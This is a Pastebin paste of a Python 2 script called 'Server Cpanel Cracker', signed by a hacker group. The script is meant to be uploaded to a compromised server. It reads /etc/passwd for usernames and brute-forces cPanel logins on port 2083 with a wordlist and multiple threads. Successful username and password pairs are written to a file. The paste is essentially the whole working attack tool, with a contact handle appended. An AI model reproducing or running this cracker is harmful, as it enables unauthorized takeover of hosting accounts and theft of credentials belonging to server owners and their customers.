Advertisement
Guest User

cp-ckracker

a guest
Nov 5th, 2017
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.32 KB | None | 0 0
  1. #######################################################################
  2. #        .__                      .__
  3. #  _____ |__|___.__._____    ____ |  |__  __ __  ____    ____
  4. # /     \|  <   |  |\__  \ _/ ___\|  |  \|  |  \/    \  / ___\
  5. #|  Y Y  \  |\___  | / __ \\  \___|   Y  \  |  /   |  \/ /_/  >
  6. #|__|_|  /__|/ ____|(____  /\___  >___|  /____/|___|  /\___  /
  7. #      \/    \/          \/     \/     \/           \//_____/
  8. # Server Cpanel Cracker [Threading Supported]
  9. # Privfuckingeight
  10. # Written by Zepek
  11. # Janissaries.Org Represents
  12. # Cracked cpanels will be logging in 'cpanels.txt'
  13. # Usage: Upload this tool to server then use command execute type
  14. # python cpcracker.py <WORDLISTFILE> <THREAD>
  15. # Example: python cpcracker.py wordlist.txt 10
  16. #######################################################################
  17. import threading
  18. import urllib
  19. import urllib2
  20. import re
  21. import socket
  22. import sys
  23. import time
  24. # This is threading function'
  25. def check_cp(ip):
  26.     try:
  27.         conn   = urllib2.urlopen("https://"+ip+":2083/").read()
  28.         print conn
  29.     except urllib2.HTTPError,x:
  30.            x = str(x)
  31.            if re.search("HTTP Error 401",x):
  32.               return True
  33.            else:
  34.               print "[-]Error found while opening ip adress"
  35.               print "https://"+ip+":2083/"
  36.               print str(x)
  37.               return False
  38.     except Exception,a:
  39.         print "[-]Error found while opening ip adress"
  40.         print "https://"+ip+":2083/"
  41.         print str(a)
  42.         return False
  43. # This is threaded brute-forcer function'
  44. def bruter(ip,semap,user,pwd):
  45.     try:
  46.         postf   = urllib.urlencode({"user":user,"pass":pwd})
  47.         request = urllib2.Request("https://"+ip+":2083/login/?login_only=1",postf)
  48.         connect = urllib2.urlopen(request)
  49.         print "##############################################"
  50.         print "[+]Username: ("+user+")"
  51.         print "[+]Password: ("+pwd+")"
  52.         print "##############################################"
  53.         sys.stdout.flush()
  54.         save = open('cpanels.txt','ab')
  55.         save.write("https://"+user+":"+pwd+"@"+ip+":2083\r\n")
  56.         save.close()
  57.         semap.release()
  58.     except urllib2.HTTPError,e:
  59.            if re.search("401",str(e)):
  60.               print "completed user ("+user+") password ("+pwd+")"
  61.               sys.stdout.flush()
  62.            else:
  63.               print "unknown error excepted!!!"
  64.               print str(e)
  65.           sys.exit(1)
  66.            semap.release()
  67. # Try to read /etc/passwd
  68. try:
  69.     filename = sys.argv[1]
  70.     wordlist = open(filename).readlines()
  71.     thread   = int(sys.argv[2])
  72.     serverip = socket.gethostbyname(socket.gethostname())
  73.     passwd   = open('/etc/passwd').readlines()
  74.     print "written by miyachung";
  75.     print "janissaries.org represents";
  76.     print "--------------------------------------------";
  77.     print "/etc/passwd readed";
  78.     print "found "+str(len(passwd))+" usernames from /etc/passwd"
  79.     print "loaded "+str(len(wordlist))+" passwords from "+filename
  80.     print "threading mode is enabled task limit "+str(thread)
  81.     print "servers ip adress "+serverip
  82.     print "checking for if cpanel is not installed on this server"
  83.     sys.stdout.flush()
  84.     check = check_cp(serverip)
  85.     if check is False:
  86.         print "Oops! cpanel is not installed on this server or python can't handle https request try this tool on another server"
  87.         sys.exit(1)
  88.     else:
  89.         print "Okay! cpanel is installed"
  90.     print "brute force is starting"
  91.     sys.stdout.flush()
  92.     time.sleep(3)
  93.     semap  = threading.BoundedSemaphore(value=thread)
  94.     for word in wordlist:
  95.         word = word.strip()
  96.         tasks= []
  97.         for user in passwd:
  98.             semap.acquire()
  99.             user = user.strip()
  100.             user = user.split(':')
  101.             th   = threading.Thread(target=bruter,args=(serverip,semap,user[0],word,))
  102.             tasks.append(th)
  103.             th.start()
  104.         for t in tasks:
  105.             t.join()
  106.     sys.exit(1)
  107. except KeyboardInterrupt:
  108.     sys.exit(1)
  109. except Exception,e:
  110.     print "[-]Error found! tool completed to work."
  111.     print str(e)
  112.     sys.exit(1)
  113.  
  114. ☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠
  115. ☠☠  @contact skype : live:zepek_al   ☠☠
  116. ☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement